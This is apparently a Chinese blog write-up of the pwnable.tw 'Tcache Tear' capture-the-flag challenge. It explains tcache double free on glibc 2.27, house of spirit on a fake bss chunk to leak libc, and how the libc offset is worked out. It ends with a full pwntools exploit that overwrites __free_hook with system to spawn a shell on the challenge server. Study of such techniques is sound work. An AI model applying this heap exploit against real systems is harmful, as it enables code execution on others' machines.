0%

pwnable-Tcache_Tear

跟着大佬的wp写的,记录了一些收获和见解

参考

和媳妇一起学Pwn 之 Tcache Tear | Clang裁缝店 (xuanxuanblingbling.github.io)

[pwnable.tw] Tcache tear — 利用bss构造堆块的地址泄露技巧-腾讯云开发者社区-腾讯云 (tencent.com)

准备工作

先查看一下libc版本,2.27版本,在2.26版本的时候添加了tcache,虽然tcache提高了性能,但是却舍弃了很多检查,就好比double free

1
strings libc.so| grep "GNU"

pwnable-tcache_tear-1

设置本地调试的文件

1
patchelf --set-interpreter [ld.so路径] --set-rpath [libc所在目录] [elf文件]

比如我是

1
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath ~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./pwn
利用一:tcache dup任意地址写

在fastbin中,我们不能连续释放同一个堆块达到double free的目的,要达到double free的目的,我们需要如下步骤:先申请两个堆块,释放第一个堆块,再释放第二个堆块,然后再次释放第一个堆块,从而double free

在此之前我对double free表示不理解,因为没有接触过利用方法,不过写完这道题后我对double free的利用方法就有了一个大致的方向

double free后,fastbin中的链式结构如下,由此可以看到,a和b形成了一个环

1
fastbin -> a -> b -> a

此时,当我们再次申请一个和a等大的chunk时,fastbin如下

1
fastbin -> b -> a

如果我们在申请的同时在a中写入内容,假设我们输入一个地址,那么fastbin就会变成这样

1
fastbin -> b -> a -> [输入的地址]

那么此时我们再申请掉2次,在第三次申请的时候就可以申请到我们输入的地址的内存空间,从而对指定的地址的内容进行改写

所以double free的模拟代码如下

1
2
3
4
5
6
7
8
9
10
11
a = malloc(0x20)
b = malloc(0x20)

free(a);
free(b);
free(a);

malloc(0x20,addr)
malloc(0x20)
malloc(0x20)
malloc(0x20,data)

但是在2.27版本的tcache中,我们不用这么麻烦,可以直接连续释放同一个chunk 2次,即

1
2
3
4
5
6
7
8
a = malloc(0x20);

free(a);
free(a);

malloc(0x20,addr)
malloc(0x20)
malloc(0x20,data)
利用二:伪造大堆块泄露libc地址(house of spirit)

任意地址写有了,就要尝试如何泄露地址了

house of spirit的利用思路如下

  1. 利用任意地址写,在bss段构造大小超出0x408的伪堆块
  2. 然后free掉,使其进入unsorted bin中
  3. 利用info函数,读取其内容即可

我们先在输入name的时候构造好大堆块的前0x10个字节,然后利用地址任意写再构造2个堆块,大堆块用于泄露libc地址,小堆块则用于满足堆块的格式,至少是2个,因为在free的时候,会对当前堆块的后面的堆块进行检查

计算libc偏移

我比较想说的还是这个偏移的计算,我在网上搜索了很多文章,但是没看到有人讲这个偏移是怎么算的,所以我在这里记录一下我是如何计算偏移的(我的方法可能比较笨)

在free伪造的大堆块后下断点,可以看到此时0x602070中的内容(也就是大堆块的内容)已经变成了unsorted bin的地址0x00007fe0c8324ca0,然后我们打印出libc中puts的偏移0x809c0,然后通过puts的真实地址来计算偏移,即:0x7fe0c8324ca0 - (0x7fe0c7fb99c0 - 0x809c0) = 0x3ebca0

pwnable-tcache_tear-3

pwnable-tcache_tear-2

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
from struct import pack
from LibcSearcher import *
from ae64 import AE64
import base64
from ctypes import *

debug = 0
if debug:
p = process('/home/feichai/ctf_file/tcache_tear')
libc=ELF("/home/feichai/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
else:
p = remote('chall.pwnable.tw', 10207)
libc=ELF("/home/feichai/ctf_file/libc.so")

context(arch="amd64",os="linux",log_level="debug")
elf=ELF("/home/feichai/ctf_file/tcache_tear")
libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def add(size,data):
p.sendlineafter(b"Your choice :",b'1')
p.sendlineafter(b"Size:",str(size))
p.sendlineafter(b"Data:",data)

def free():
p.sendlineafter(b"Your choice :",b'2')

def show():
p.sendlineafter(b"Your choice :",b'3')

def pwn():

bss_name = 0x602060

name = p64(0) + p64(0x511)
p.recvuntil(b"Name:")
p.send(name)

add(0x68, b"aaaa")
free()
free()
add(0x68, p64(bss_name+0x510))
add(0x68, b"bbbb")
payload = p64(0) + p64(0x21) + p64(0)*3 + p64(0x21)
add(0x68, payload)

add(0x78, b"cccc")
free()
free()
add(0x78, p64(bss_name+0x10))
add(0x78, b"dddd")
payload = p64(0) + p64(0)
add(0x78, payload)

#free largechunk and get libc addr
free()
show()
p.recvuntil(b"Name :")
p.recv(0x10)
libc_leak = u64(p.recv(8))
libc_base = libc_leak - 0x3ebca0
system = libc_base + libc.symbols[b"system"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
print("system_addr:",hex(system))
print("free_hook:",hex(free_hook))

add(0x58, b"e"*8)
free()
free()
add(0x58, p64(free_hook))
add(0x58, b"ffff")
add(0x58, p64(system))

add(0x18, b"/bin/sh\x00")
free()

p.interactive()

if __name__=='__main__':
pwn()
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道